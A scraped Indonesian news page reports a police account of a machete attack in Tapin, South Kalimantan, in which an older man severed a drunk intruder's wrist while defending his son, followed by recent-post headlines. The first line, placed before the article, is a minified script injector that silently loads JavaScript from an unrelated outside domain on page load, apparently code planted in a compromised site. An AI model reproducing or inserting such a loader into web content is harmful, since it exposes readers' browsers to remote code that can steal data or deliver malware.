(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tapin

Ini Kronologi Pria Mengamuk di Tapin hingga Pergelangan Tangan Putus Disabet Parang


KANALKALIMANTAN.COM, RANTAU– Polisi akhirnya mengungkap kronologi kasus penganiayaan yang menyebabkan seorang pemuda berinisial M (27) kehilangan tangan kanannya oleh sabetan parang milik MA (64). Sebelumnya, kasus tersebut sempat membuat heboh warga di Desa Parigi Tangkawang, Kecamatan Bakarangan, Kabupaten Tapin pada Jumat (4/3/2022) lalu.

Kapolres Tapin AKBP Ernesto Saiser didampingi Kabag Ops Polres Tapin Kompol Faisal Amri Nasution dan Kasat Reskrim, AKP Iksan Prananto, saat konferensi pers Senin, (7/3/2022) menyampaikan kronologis kasus tersebut.

Insiden tersebut bermula lantaran korban M, mendatangi rumah MA dalam kondisi mabuk sambil membawa parang. Korban datang ke rumah tersangka guna menanyakan keberadaan seseorang bernama Reza.

“Nah, saat sedang mengamuk di rumah tersangka, korban tiba-tiba melihat anak tersangka lari dan langsung dikejarnya. Korban mengira yang berlari itu adalah Reza, orang yang dicarinya. Melihat anaknya dikejar korban, tersangka langsung membela anaknya menggunakan parang hingga menyebabkan pergelangan tangan M terputus,” terangnya.

 

Baca juga : Dua Kali Vaksin, Naik Pesawat Tak Perlu Tes PCR-Antigen Lagi!

Padahal kenyataannya, anak tersangka bukanlah yang dicari korban.

Kasat Reskrim Polres Tapin, AKP Ikhsan Prananto menambahkan saat ini pihaknya segera mempercepat pemberkasan kasus penganiayaan ini untuk proses selanjutnya. Ia mengatakan, sudah ada informasi dari kapolsek setempat bahwa kedua belah pihak rencananya akan melakukan perdamaian.

“Keluarga korban dan tersangka mau datang ke Polres. Jadi kami sifatnya hanya mendengarkan dan kami penyidik akan mencantumkan hasil perdamaian tersebut di berkas perkara,” jelasnya. (Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

10 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

11 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

11 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

11 jam ago

This website uses cookies.